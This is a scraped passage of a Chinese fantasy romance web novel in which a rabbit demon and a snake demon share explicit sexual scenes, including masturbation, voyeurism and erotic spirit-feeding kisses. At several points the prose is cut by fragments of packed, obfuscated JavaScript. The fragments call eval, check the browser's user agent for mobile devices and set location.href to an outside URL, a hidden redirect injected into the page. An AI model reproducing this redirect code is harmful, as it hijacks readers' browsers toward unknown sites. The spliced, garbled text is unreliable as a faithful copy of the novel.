她腰肢弯出了软塌的弧度,纤细,柔弱,垂眼就可见,而腰肢往上,饱满欲滴。 裴息尘认出了这身衣服,是蛛娘送来的,就像是为玉扶量身做的一般,不露一点,偏又将她少女的所有优点凸显出来,纯色的衣袍,色淡,映着她纯美的面庞却生出了艳。 玉扶不满他的沉默,掰过他的脸:“你怎么不回答我?” 裴息尘挑挑眉,见她真是神智都不清楚了,无所谓吐声:“不喜欢。” “那你喜欢蜘蛛精?”玉扶歪头继续问。 裴息尘继续答:“不喜欢。” 玉扶疑惑了,松开手,揪着他腰腹衣袍坐稳地想了一会,不信道:“你说谎。” “不喜欢为什么要喝小鸟妖斟的酒?” “还有,你把蛛娘带到房里,反而把我关起来。” 玉扶越说越沮丧,开始顺着裴息尘的腿往下滑:“你比我还像妖,一点都不知道羞耻。” 又被骂没羞耻的大妖不悦地挑了挑眉,将软身的玉扶重新拉扯上来,掐着她脸危险摩挲着:“我没羞耻?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415724|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我不该答应你那些没羞耻的要求?嗯?” 玉扶摇头,浑身还是热乎乎地发热,那些被已被她吸收了的酒效,似乎在开始发挥着后劲,她要好努力思索,才能表达:“你都不会拒绝。” “不拒绝好多妖,除了我。” “你还答应好多其他妖的要求。” “蛛娘的……蛛娘的……”玉扶更晕了,她潜意识里分明觉得有好多好多,可数来数去,只数出了蛛娘。 裴息尘唇中发出呵笑,狠狠掐了掐玉扶晕红的脸蛋,又怂又霸道的兔子,他对她一再容忍、给予,她却不记得这些,只偷偷计较着他对旁的妖稍散出的一点善意。 且,那根本不是善意,不过是懒得搭理。 也就这么一点儿,计较着也就罢了,偏数来数去只数出一个来,还要臆想出有好多。 真是惯出来的欠收拾! 他的坏蛋气质毫不掩饰地流露,气息凉凉地贴着玉扶的皮面,咬她一口的念头又浮现。 玉扶不自在地后缩一点,裴息尘倾身紧跟。 不得不说,阿裴的骨相真的好完美,皮相也浓淡得宜,气质一改就全然不同的感觉,他坏笑起来好妖孽,勾魂夺魄的邪性。 这样放大在眼前地看,玉扶全然忘了自己方才说了什么得罪他的话,她开始不退了,眨着眼地问他:“你是想亲我吗?” “那你亲吧。”玉扶大方极了地噘嘴。 裴息尘的唇线成了紧闭的一线,无言看着嘴噘得高高的色兔子,咬她都好像便宜她了。 他不动了,玉扶却是不依:“你是要我亲你吗?” “你真懒。” 玉扶说着埋怨,可色心实在大,她没办法似的道:“好吧,我亲亲你也一样。” 她仰着脸反客为主地压向裴息尘,抱着他脸,狠狠地啄了一下。 他真的好大方,玉扶瞳仁亮亮地又试探亲一下,她开始觉得不够,她总贪心地想要更多更能满足她的。 不管是什么也好。 本能和酒意的驱使,她开始往下坐,一扭一扭地亲亲裴息尘的下颌,又亲一亲他的喉结。 手乱扯地摸到结实的腰腹。 裴息尘开始发现玉扶的不对,她妖异的红瞳全然显出,酒气越发浓,潮潮的汗液显出她的状态不对。 被几杯酒催得发1情了的兔子。 坏蛋开始收整衣襟,开始变得小气,他离玉扶好远。 “阿扶,你不是第一次了,你会自己解决的是吧?” 玉扶茫然,但望入他垂下的眼,玉扶好像懂得了他在说什么,开阳宗的某个夜里,她也曾这样过,那时候,她被陌生的情1潮席卷,呜呜哭着不让息尘进门。 最后,隔着一扇门,她亵渎了他。 可阿裴不是息尘不是吗?他分明能帮她的。 玉扶红润润的眼希冀又渴求地望着裴息尘,“你不帮帮我吗?” “阿扶,我们的十日之约未到。”裴息尘看着她摇头,旋即,又绽开一笑:“但我会在这陪你。” “阿扶,你可以想我。” 他真的是十足的坏蛋,玉扶倏地对他又有了认知,原来那句“你同他在一起多久,合该也与我在一起多久”真的不是玩笑,阿裴他是认真的,甚至也做到了“我会将你照顾得比他还好”。 但他的好,也就仅仅好上那么一丁点,好在,大方地允许她想他。 玉扶呜呜地埋入被窝中哭了。 35. 第 35 章 裴息尘什么都没有做,他只是坐在玉扶可见却不可触碰的身前,一层透亮的结界将整个客房分成了两半,一半玉扶的床榻,一半他所坐所倚的桌椅。 他能将玉扶的所有都纳入眼底,包括她呜呜的轻泣。 玉扶额上泛着细汗,不可置信地看着他。 真是坏透了,他怎么可以离她那么近,又那样远。 毋庸置疑,他完全就是故意的。 玉扶恼了他,开始骂他坏蛋,但慢慢的,她开始懊恼那答应的十日之约。 他是不是早就想到会有这一天? 是不是故意在等着自己求他? 她慢吞吞地睁开眼,长睫颤抖着去看他,企图得到连她也不确定是不是的答案。 这一眼,玉扶发现,他在看她,一直在看她,眸子像兽一样发着光。 玉扶身子触电般细细颤了颤,她第一次的时候非常生疏,可这突如其来的第二次,并没有让她变得多有经验,甚至,身体回馈给她感觉,全是不够,她似乎变得更奇怪了,渴望更刺激的触感。 她脑中开始看着阿裴在想他。 她希望他的视线在多落一点到身上,被她紧揪的薄被渐渐往下松,她躲起来的脸颊全然探出,听见自己哀求,“阿裴,我想碰碰你。” “摸摸我……呜呜。” 潋滟含情,稠得要腻出甜意的嗓音。 裴息尘胶在她身上的视线都随之一滞,灼热的吐息,难受的不独是玉扶,尾巴克制不住地想跑出来回应热情的小兔。 他变化了坐姿,端正了许多,蛇尾被牢牢地控制成正常的双腿化形。 玉扶失望了,可她还是控制不住地想他,她翻了个身,放纵自己肆意地想他,想折辱他。 她要骑1着他,狠狠欺负他! 这样想着,玉扶终于感到一丝快意,那久久不至的欢1愉之感也重新寻到。 她是妖嘛,妖哪有什么羞耻,她开始不客气地想他,看他,嫣红的唇瓣张开,眼神与他纠缠在一起。 她手指一点点地沉下去,脸上透出些迷醉的表情,快乐地吟声:“阿裴……” 裴息尘心口突突地跳,满身青筋紧绷地臌胀,有一瞬,他分不清他到底在坚持比较什么,他嫉妒“他”,他刻意地引诱了一点也不坚定的小兔。 答应她许多事,放任她的色心,他比“他”更敏锐,更擅长对猎物的等待,终于,他得到“他”曾拥有过的待遇。 然这种待遇,失控的不止是玉扶,也似乎是在惩罚他自己,薄缎的锦被遮挡得了直白的视线,可少女身躯的起伏,还有她所有的动作、声响,都在隐秘的遮蔽中不断放大,她在想他,也在叫她,她达到了愉悦的巅峰,叫的是他。 裴息尘开始动摇,他的小兔,值得奖励。 透亮的结界消融,他终于靠近了玉扶,他俯身帮她湿淋淋颊靥的发撇到一边,亲了亲她亮晶晶的唇瓣:“乖阿扶,伸出来给我看看。” 他的气息真的好凉,好舒服,浅浅的一亲,都激得余韵的玉扶忍不住蹿过一阵战栗,玉扶该讨厌他的,他真的太坏了,她需要他,他却只是望着她,用眼一遍又一遍地看着她的狼狈,看着她对他意乱情迷。 渡情期可真是个坏阶段,那几杯酒也不是好东西。 讨厌的理由有很多,可谁让她是妖呢,妖嘛,快乐就好,玉扶羞耻地吐出一点点舌,粉滟滟、湿漉漉的。 漂亮,可爱。 裴息尘对她的误会笑了,将她的脸向上提地一捏,道:“不是这个。” 眼往她腹下的手坏极了地抬了抬。 他要看她的手,玉扶意识到了。 她被下的衣服全被她自己扯得乱七八糟,尤其是她的手,方才还揉过,许多的水液黏糊糊的,她抗拒地摇头。 她毕竟是在的人修的世界长成的,合欢宗的开放与妖域的妖总归还存在一些本质上的界限。 玉扶也总在妖与人的界限上摇摆,她总觉得,阿裴会颠覆她的下限,摇晃的脑袋,眼尾都溢出了抗拒的泪水。 然坏蛋就是坏蛋,哪里那么容易放过她,他的手伸入,摸到了她的腕,带出,欣赏地瞧:“阿扶,你的手好湿。” 少女的腕被比她大许多的手带着抬起,濛光下,细白无比,手心潮潮的,几个漂亮的指腹乃至指节,一层清透的水液,亮晶晶,漂亮极了。 裴息尘新奇地盯着,低下头。 玉扶的手背被舔了,继而,轻轻的吸吮,冰冷非人的舌卷上她的指腹与指节。 玉扶颤栗极了,她又想哭了,她就知道,他真的很没有下限,总喜欢舔各种水,她的眼泪,她的涎水,现在连这个都不放过。 而且,他一点也不好好舔,颗粒感的摩挲卷着她的指腹在打转,又痒又麻,她更使不上力了,浑身的潮意也更甚,尤其揉过的地方,淅淅沥沥的,一点也不受控制。 玉扶哭着哀求:“可不可以……呜呜……不要舔我了?” 裴息尘如用完飨食般优雅地收唇,玉扶白皙的手,全然覆上了另一层水液。 “阿扶,这是你想我的利息。” 玉扶惊住了,原来他那般大方地让她想他是要收利息的吗? “你没说过。”玉扶小声地辩驳。 裴息尘邪邪地挑眉:“那你现在知道了。” 他笑得咧开了唇,玉扶不敢反驳,闷闷地缩入满是自己气味的薄被中,术法的光亮闪一下熄一下,又闪一下,清爽的气息终于涤荡开。 “我是母兔子,男女兽兽不亲,我要睡了。” “你也去休息吧。” 裴息尘容情意外地顿了顿,他被赶了,还是另一个他曾对玉扶说过的话,还真是让人咬牙切齿的兔子。 有一刻,裴息尘也想学玉扶的“哼哼”,来表达不满。 不过,他是大妖,大妖总是要更有格调一点,也更要对自己的小兔容忍一点。 玉扶听到了推门出去的吱呀声,小心翼翼地放下被子,缓缓呼出一口气。 她空愣愣地盯着床顶,消化着情、潮的影响,好羞妖啊,阿裴真的是太不要脸了。 他顶着和息尘一样的脸,那样强势地盯着她,她脑中一时想着那时的息尘,一时又深深地被他的妖孽吸引。 好在,她聪明极了,最后唤出的都是阿裴。 玉扶下定决心,她要少喝酒,尤其是妖的酒,谁知道下次又会放什么乱七八糟的材料。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429106|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她翻滚着,靠到了墙壁的一侧,眼皮有些疲乏地阖了阖。 然,突兀的喘息闯入了她的耳。 玉扶生气,大鸟妖真小气,怎么安排的住处还有其他的妖。 但很快的,玉扶反应过来,声音的来源可能是阿裴。 她的耳朵自来很灵,而隔壁的声音也一点不知道遮掩,就连喉结滑动的声音她也听得真切。 玉扶宛如发现什么秘密地捂着唇,不让自己发出吃惊的声音,但不知是出于什么心理,她的耳,却是更贴上了墙壁。 一墙之隔的裴息尘,腰间遮盖着薄被,劲瘦的腰身挺起又重新坠回榻上,壮观的轮廓极不知羞耻。 他喘1得很厉害,探入华美衣袍下的手,动作不甚娴熟,生涩中,毫无自觉地激1烈纾1解着。 他的神识之强,如何不能穿过一层墙壁捕捉到玉扶的举动? 恶劣地,喘1息着唤出:“嗯......好阿扶......” 玉扶没有错漏这一声喊,脑子晕乎乎地全然被他的动静勾走,他怎么......怎么能发出这样......诱人的声音。 酥酥的,沾满了慾,而且,他也在想她。 玉扶咬着下唇,才淡下去感觉,又泛了出来,她不懂,一点也不懂阿裴,他坏蛋得根本捉摸不透。 第一次地,玉扶意识到,他与她一样是妖,忠诚于慾1望的妖,可他怎么总能面对着她的时候又一点也不为所动? 他拒绝摸摸她,也拒绝碰触她,可是,他会看着她,会用要吞掉她一般的目光舔舐她,还会隔着一堵墙...... 玉扶遇到的情感方面的经验还是太少了,但她的理论经验又很好地补足了这一点,师姐们说过,偶尔会有一些人修有一些的奇怪的癖好,妖修当中会更多一点。 师姐说,若是遇到这一类的,要跑远一点。 可是,师姐没说过,这一类的妖孽会这样有手段。 玉扶听到墙后的动静似乎是侧了个身,朝向了她的方位—— 她眸中沁出了泪雾,面颊通红无比,她耳朵实在太灵了,共鸣似的,一丝一毫的动静都活像是在她的耳畔。 摩挲声,绸缎滑落声,还有一些意味不明的沙沙声。 玉扶猜,他一定是放出了尾巴,他的尾巴是什么样的?也会像他的化形一样华丽漂亮吗? 想着他的面容,玉扶竟觉得滑溜溜的蛇似乎也不那么可怕了,甚至忍不住地并了并腿,在隔墙不间断的喘1息中,她又埋入被下,发出小兽似的哼唧。 她一边放纵自己,一边埋怨裴息尘的奇怪,可又隐秘地感悟到一丝,那种旁观的压抑乐趣。 阿裴看着她的时候也是这样的情绪吗? 玉扶无法得知,唯可知的是,他真的太妖了! 都怪他! 是他害她抵挡不住的。 她心跳得愈发快,渐渐完全沦陷在隔墙的引诱中。 一夜,尤其的漫长,裴息尘终于松了手,一团浸满他味道的白绒球蔫哒哒地松落,没有名字的凶剑委屈极了地躺在床下地板上。 它摊上了一个变化无常,动辄抢掠的没有道德的主人。 它的剑柄再次光秃秃。 36. 第 36 章 鹰族的地盘,纳入了各种鸟妖。 清晨时,鸟鸣就吵闹了起来。 玉扶迷蒙睁眼,身上是法决都清洗不掉的甜腻味。 她没有因饮酒而出现记忆的空白,甚至因天光的亮度,令她的回忆也呈现得极为清晰。 玉扶眨了眨眼,即便她羞耻的阈值很高,可仍红了脸,她有点不敢马上面对妖孽的阿裴,想了想,小心翼翼地出了门,她知道哪里可以洗澡。 随着门开,隔壁的裴息尘也带起床气地睁了眼,他与玉扶常是相反的极端,他很懒,一天大部分的时候,不是在睡就是在假寐。 而玉扶早晚都要勤勤恳恳地修炼,即便夜里做了不可描述的事,早上还会困瞪瞪地滚到有益她修炼的地方沐晨日曦光。 察觉她今日跑的有点远,裴息尘蹙了眉,一尾漂亮的小蛇自他身上分下,溜出了房舍,坠在玉扶不察的身后。 至于他自己,又懒洋洋地倒下了,放出的尾巴,闲适,悠然。 他的小兔,真是漂亮又勤劳,他该想想,帮她变强。 他是没有道德的,即便答应了单云霄帮忙探查妖墓,可纵是他反水又能如何? 本就是为了搭个便车入妖神古墟罢了。 毕竟,若要靠他自己寻路子,去一个没半分了解的妖神古墟,可太麻烦了。 这两架打得很值,住处有了,名额有了,旁的怎么去,怎么开启……全然再不用操心。 倏地,他“唔”了声,原来是他的小蛇跟着玉扶到了处浴池。 玉扶根本不用褪衣裳,化为小兔就扎入了水中,过上一会,一堆衣裳才出现在池边。 于成熟的妖而言,一般只有故意时,才会出现光溜溜的情况。 玉扶显然对此控制得很娴熟。 她于水中游了好一会,倏地遇见什么恐慌,着急往池边游,一只蜘蛛在后头紧追不舍。 她迫出水化形,亮光下,漂亮的线条清晰无比。 池外的小蛇,豆大的眼呆愣愣地盯直了,半个蛇身都竖起,兴奋地摇摆。 与此同时,池中追迫玉扶的庞大蜘蛛,身形也在变化,又是蛛娘。 她将玉扶挡了大半,小蛇不满地嘶嘶,往池子边沿滑行,企图寻个新位置,然滑行不过一会,它趴在灌丛遮挡的地下,被池中的谈话吸引走了注意。 蛛娘化形后,优越的身姿曲线仍将玉扶挡了个结实:“小兔妖,你怎也这般早地来泡池子?” “莫不是你那大妖不行?”蛛娘挑剔地打量玉扶,莹白无比的肌骨上,竟半分痕迹也没留下,而比对她,短短的一夜,外露的肌肤,不少斑痕点点的痕迹,刺目得紧。 蛛娘根本没想遮掩,她能与鹰族少主有情缘关系,本就是值得显摆的,不过,热情也确实不如往日了,也就仅仅一夜罢了,还是建立在她消息传递及时,最后引荐有功的情况下。 但小兔妖与那大妖的情况显然是与她不同的,怎也就短短的一夜? 蛛娘生出些比对的骄傲,原是个不行的,难怪呢。 玉扶被蛛娘瞧得莫名,同时,也被她身上的许多痕迹吸引,玉扶能感觉出,蛛娘身上瞧着痕迹多,可状态却是难得的好,妖息都如第一次碰面那样精神:“你伤都好了?” 蛛娘无不显摆地道:“自然。” 她何止是伤好了,骨头缝都不疼了,要不妖怎会都爱寻比自己强的大妖修炼呢,神交一次,受益多着呢,蛛娘瞧一眼玉扶羡慕的样,问:“你那大妖便这样小气,一点也不多带带你?” 便是身体上不中用,神魂总还够强的吧,她竟丝毫没从小兔妖身上瞧出受益的痕迹来。 玉扶毕竟是理论知识非常丰富的兔子,即使初时没反应过来蛛娘的话里话外,此刻也转回了弯,她开始不服气地挽尊:“他是心疼我吃不消呢。” 蛛娘娇笑不止:“傻兔子,我不是同你说了,我们妖,只有先吃到了才不浪费。” “即便浪费,多来几次不就补回来了?” “哪有什么吃不吃得消?” “若按你的说法,那岂不是没有小妖敢觊觎大妖了?” “收益这样低,还不如寻个洞府闭关算了。” 玉扶惊了,她觉得蛛娘说的好有道理,她开始反思,开始回想,她到底是怎么一根筋走岔了路的,很快,她沮丧了,她发现,不是她不努力,是阿裴误导了她,是他用她弱为理由拒绝十日约定活的那种很补的灵息。 想来想去,只有一个解释,是阿裴小气。 原来他的大方都是表面的。 他表面的大方钓了她许久。 有一瞬,玉扶很想去寻阿裴理论。 可想也知是理论不赢的,还不如老实修炼呢。 玉扶开始不理会蛛娘,于池中泡着就开始修炼起来。 油盐不进的倔兔子,蛛娘无语地泡够后出了池子。 而偷听许久的小蛇,也不知是心虚还是旁的什么,比玉扶还早地窜回了裴息尘的落塌,于大妖的手背轻点一下,化为了漂亮的一片鳞,很快融为一色的肌肤。 裴息尘与蛇鳞所化小蛇感知相连,所有讯息顷刻涌入,撇开所有谈话,喉间滚动地只想截下少女出水一瞬的婀娜腰身。 确实,他有更快帮玉扶变厉害的方式,然,养兔子嘛,总是要更有耐心一些,更培养感情一些,他享受这种过程,也渐渐地喜欢上这种要操心的感觉。 比起意识被困于什么都做不了的禁制中,慢吞吞地陪伴一只兔子,总让他有一种无比真实的踏实之感。 有一点他与息尘无疑是共通的,比起玉扶需要他们,是他们更需要玉扶。 她天真,纯美,分外的干净,分外的让人有欺负和保护的欲望。 他会用很多方式帮助她变强,唯独不能立即地给了她想要的,他该钓着她,该诱着她更离不开自己。 然,他翻了一个身,又翻了一个身,都没有等到该回来的兔子来寻他。 再也躺不下去,推门而出。 玉扶在回去的路上,被一年轻的隼妖拦住了,隼妖年轻矫健,朝气蓬勃,对没见过的兔妖显出了无边的热情,玉扶走一步,他就跟一步,很是聒噪地问东问西。 玉扶不答的,他也能自说自话地接上,玉扶知晓了,他是大鸟妖单云霄的远房亲戚,是被选拔为入妖神古墟的一员。 玉扶终于来了兴趣,停顿脚步听他讲话,对妖神古墟,她知道的太少了,而阿裴也总仗着好本事,整日懒洋洋的,真问些什么,知晓得还不如她。 玉扶展现了她的亲和力,唇边绽笑,眼睫忽闪,专注而动人。 隼妖被这样的少女盯着,还有什么是不能说的:“我们族中被选中的鹰隼卫,身上多少都存着些上古妖神遗留的血脉,但凡能在里头提升了血派,来日上了战场,皆可成为统领一方的大妖。” “你不过一小兔,血脉想来平凡,不过,”隼妖略红了脸:“你若能告诉我你叫什么,待我成为一方大妖,我可护你不受战事影响。” 玉扶眨了眨眼,还没想好回答,先传来了一轻嗤声,随之强大的妖息铺天盖地地压向同她说话的隼妖。 裴息尘踱着散漫的步子,不屑讽笑:“本君的兔子还轮不到旁的妖来护。” 裴息尘像是真的生了气,对隼妖施加的压力毫不客气,几乎要将他的脑袋按入地下,毫不怀疑,若是再加点力,怕是能将隼妖埋了。 玉扶不忍心地拉了拉阿裴的袖子,小声提醒:“他和大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450679|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟妖是亲戚。” 裴息尘更不悦地挑了眉,他费力打架住到内城来,可不是为了让着谁,眼中的凶戾之气掀过玉扶,直刺隼妖。 玉扶见拉不动他,也生了气,哼哼地踢了他一脚:“你不是很懒的吗?” “做什么又要打架?” 玉扶这一踹是带了怨的,蛛娘的话还是在她心里留下了影响,跟着阿裴,收益太小了。 但踢完后,她就后悔了,阿裴可是很凶残的,果然,抬眼,就对上了阿裴尤为不爽的眼。 裴息尘看都不看隼妖,挥出一击,将隼妖振飞,开始逼近玉扶:“你现在胆子肥了啊?” “你对我有意见?嗯?” 尾调高高的,很不好惹的模样。 可也不知是不是昨日窥到了阿裴对她的慾望,玉扶面对他的胆子真大了不少,她还真点了头。 裴息尘简直被她气到了,她竟真敢对他有意见,他都还没开始计较她随意对一个鸟妖示好。 然气得多了,裴息尘倒也不至于真对玉扶暴怒,反怪声怪气地笑:“旁的妖见多了,就开始对我有意见?” “你到底有什么好有意见的?” “是我没有做到答应带你变强?” “还是你在埋怨我昨日没满足你?” 他每问一句,目光就更攫住玉扶一点,继而冰凉凉的呼吸喷在她面上,将她的呼吸,也禁锢在方寸之间。 他在玉扶惊愕中,吻住了她的唇,大团的灵息哺出,活的,会动的,一下子就缠住了玉扶的神魂小兔。 一股难以言喻的颤栗直冲头皮,突然得玉扶完全抗拒不了地接收,也异常的大方,大方到玉扶不得不努力迎合。 玉扶主动地勾住了阿裴的颈,呼吸渐从清浅到吞咽,再到出现呜呜的泣音,然接连不断的灵息,宛如将他们的唇连在一块,贴得越发紧密。 他的舌就像是要将她吞吃入腹,狠狠地缠着她。 虽然玉扶的唇有些疼,但她依然很难拒绝吃入肚子中的灵息,这是比身体反应得到慰藉还要高一层的精神盛宴。 尤其是阿裴这样小气鬼的突然大方。 她迎着他,一点也不去想他突然大方的缘由,无师自通地运行起功法,那些吞入的灵息渐渐在她的神魂小兔身侧安分下来,沉入她的妖丹中,成为她修为的一部分。 她慢慢开始适应这种程度的亲吻,从被动转为了主动。 甚至能在裴息尘企图停止时,继续从他身上夺走灵息。 裴息尘在一瞬惊讶她的功法后,也便任由她索取,他更低地俯下头,于明亮日光下,有一下没一下地轻抚着少女的后腰,直抚得玉扶从功法中岔了气。 她扭了扭身,从修炼意识中抽离,唇瓣发麻,识海迷醉,原来师姐们教的功法是这样用的,她第一次吃得好满足,比起以往才一丝丝的沉淀,她发现这一次足以抵得上往日十天半月的修炼还不止。 盯着裴息尘被她舔得亮亮的唇瓣,玉扶眸中流出贪心的不舍。 他要是总这么大方就好了。 但很快,玉扶开始神智清明,意识到在此前,她似乎、好像、得罪了阿裴,他好凶地收拾隼妖,然后对她也兴师问罪的模样。 突然亲她,不会是最后给她吃一顿好的吧?毕竟还不到十日呢。 她怯怯地抬眼,企图同他讲理,但她实在对十日之约太过记忆深刻,也太贪图他能给自己带来的好处,出口便又成了讨价还价:“这是你主动的,不算约定。” 裴息尘一直在观察着玉扶的反应,倏地笑了,果然是贪心的兔子,他或许该调整方略,适时地,也要大方一点。 他抬手拭去玉扶唇角一点液体:“阿扶,这些功法,都是从哪里学的?” 37. 第 37 章 玉扶绷紧了身子。 不管是息尘还是阿裴,玉扶都还是第一次被问触及来历的问题。 宗门教的功法自然是有利于自身的,她方才几乎是将阿裴当做了补品来吸呢。 其实,也不是不能共同受益,但他们修为相差得那么大,玉扶根本想不到反哺。 经此试验,玉扶肯定,师姐们教的都没有问题,只要她更厉害些,日后功法就可以运转得更久,她可以在度过渡情期的同时,修炼得更快。 只是,她不知这能不能说出来,她的别有用心,阿裴会不会日后不同她好了? 虽然她到现在都想不明白,阿裴不是息尘,为什么非要带着她。 她的目光流离,怎么都不往裴息尘身上飘地道:“我是妖嘛,妖天生就会。” 妖确实天生就会,只不过没有人修那样系统与可控。 裴息尘也是妖,然,另一个他却是二百年的人修,对人修功法运转与妖之间的区别,轻易可辨。 说谎的兔子,他已能猜到些什么,不过,无所谓,他在意的是:“我是第一个?” 玉扶点头。 其实,几乎不用怀疑,玉扶那生涩,在亲过几次后才第一次使用的功法,他一定是那第一个。 不过,偏是玉扶的承认,才更让他愉悦得想使坏,指腹挑逗性摩挲着玉扶的唇,调情似的问:“亲得舒服吗?阿扶?” 玉扶意识都还在上一问,却更快地对下一问又点了头。 无疑是舒服的,不舒服能亲得嘴都麻了吗? 她目中露出懵然,迟疑是不是该再夸一夸他很好亲,来取悦一下大妖。 然,还不等她发挥。 记仇的坏蛋,陡地变了脸色,压在她唇瓣上的指腹也带上了力:“那你对我是还有什么意见?” 他贴近了玉扶的耳畔:“告诉我,阿扶。” “告诉我......便再让你亲亲。” 他真的是又坏又妖孽,坏笑中露出的白牙,都让妖面红耳赤。 玉扶不争气地上钩了:“约定太小气。” 裴息尘嗯了声:“还有呢?” 玉扶:“你骗我。” 裴息尘:“继续。” “其他也小气。”玉扶红脸觑裴息尘。 这一眼,二人恰对上,不消一瞬,裴息尘知道了玉扶的所指,他低低地笑,如约地去亲玉扶,这次极为慢条斯理,灵息的哺入也显得尤为漫长。 灿灿日光下,这个吻也似变得纯粹起来。 “阿扶,我小气,但你可以主动啊。” “我不会总拒绝你。” * 好几日,玉扶脑中都回音着阿裴最后的两句话。 她一点也吃不透他在想什么了,怎么一会小气,一会大方的。 就这样琢磨着,真正第十日时,玉扶主动了。 彼时,是他们在鹰族地盘住下的第五日,也是他们入妖王城的第七日。 玉扶已不再对鹰族的地盘陌生,也不再为妖神古墟四处询问,她发现了更奇怪的违和。 许多妖族向往的妖神古墟,似乎是第一次被发现。 既然是第一次被发现,如何就成了大妖们的向往呢?大家不是都没去过吗? 她一边问着自己的发现,一边亲向了阿裴,他没有拒绝。 玉扶更加被鼓励到地凑向前,单方面地用他修炼,他好懒,一旦不拒绝,就敞开了怀抱地任由她施为。 不过,当她更过分一些的时候,他就会睁开眼,把她推开。 玉扶沁红的妖眸,慢慢恢复平静,没有被克扣,加上前几日吃下的,她就已经很满足了,这种满足反应在她白净的面庞上,一时显出了十分的乖巧。 乖巧得一点也看不出,就在方才还双手作乱得要扒大妖衣裳。 裴息尘渐拢了衣裳,面色寻常,对玉扶的疑问,他比玉扶接触的大妖层次高,知晓得也自然多一些,散漫道:“同妖王有关。” “听闻她其实是从妖神古墟出来的。” “是不是很有意思?” 这是玉扶不曾听过的说法,若是因为昔日妖王的话,那大妖们会向往就不奇怪了,可是,又有了新的疑问:“不是说妖神古墟是战场,是古妖神的墓地吗?” “既然是墓地,妖王又怎么会是从妖神古墟中出来呢?” “她是遗留血脉,苏醒后被妖蛇一族收养。”裴息尘回想着单云霄的说辞,没有感情地转述。 “那怎么早不知晓呢,现在才传得到处都是?” 其实也不是到处都是,外城就几乎不知晓,内城的大妖们才知晓这种隐秘的事,完全可以解释为,妖王对妖域的管控不如往日,才引得三大妖族目光对向了妖神古墟。 可玉扶被妖伤得太深了,她总觉得,他们来妖域的时机,巧合得过分,对妖神古墟赶上得也太幸运了,心里毛毛的。 “阿裴,你不会心里毛毛吗?”玉扶悄悄看裴息尘一眼,心中滋生不住地想往大妖身边贴,她的手勾上了裴息尘的手指,贴近中,口吻又带上了迷醉祈求的味道,仰起的唇,几乎就要触上裴息尘的下颌:“我这么弱,你再帮帮我好不好?” 只要他点一点头,玉扶就能又亲上他。 她已经开始熟练功法,她可以消化更多,也喜爱上了进步飞快的感觉。 裴息尘一看她,便知自己完全沦为了修炼的道具,一股不爽快油然而生,他捏住了玉扶的脸颊:“阿扶,你就只是想用我修炼吗?” “没有旁的表示?” 他记得,息尘什么都没有给玉扶时,玉扶给“他”送过花,送过灵玉。 而他,几乎被贪心的兔子吃干抹净,却还没见过她有表示。 他盯视眼神懵然的兔子,冷笑地松了手:“想明白了再来寻我修炼。” 玉扶几乎是被扔出的房门,惊飞了一群来偷瞧大妖的小鸟妖。 叽叽喳喳的笑声刺耳极了。 玉扶恼怒抬头:“再笑,拔了你们的羽毛。” 霎时,鸟群飞散,玉扶气哼哼地拍了拍裙子,决定去寻蛛娘取取经。 整个鹰族的地盘,寻不出多少鸟禽以外的妖,她与蛛娘也就稍微变得能说得上话一点了,但到现在,蛛娘都还故意记不住她的名字,若非实在想不明白,玉扶才不想去寻蛛娘。 蛛娘甫一听玉扶的来意,上上下下地打量全须全尾的玉扶:“你就从不曾给大妖送过礼物?或是旁的表示?” 玉扶仔细回想,似乎,好像,还真没有。 他那么坏,那么凶,从息尘变成他开始,玉扶就整日提心吊胆担心被吃掉,哪里还会想其他的,后来,慢慢发现,他坏归坏,但都是吓唬她的后,也光顾着想怎么多啃他几口了。 原来,他是在同自己要礼物吗? 玉扶犹在想的功夫,蛛娘已经读懂了她的表情,内心简直抓狂,就这样讨好大妖都不会的小兔妖,到底是怎么在大妖身边留下来的? “你同我去趟外城。” * 人界,皇城内宫。 巨大系满红布条的许愿树,满树红浪翻滚,百千布条于夜中不断闪着诡异的红光。 树心部分更是于夜色中发出类似心脏跳动的“砰砰”声。 随着这声音的传荡,分布皇城各处的许愿树都回应似的,飒飒摇动,枝头代表着百千凡人愿望的红布条所含愿力汇向树干。 凡人肉眼难以瞧见的巨大法阵,经一颗颗许愿树连接,最后汇向最内宫。 彻底由凡间帝王管辖的凡城之地,灵气稀薄到几乎断绝的地步,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 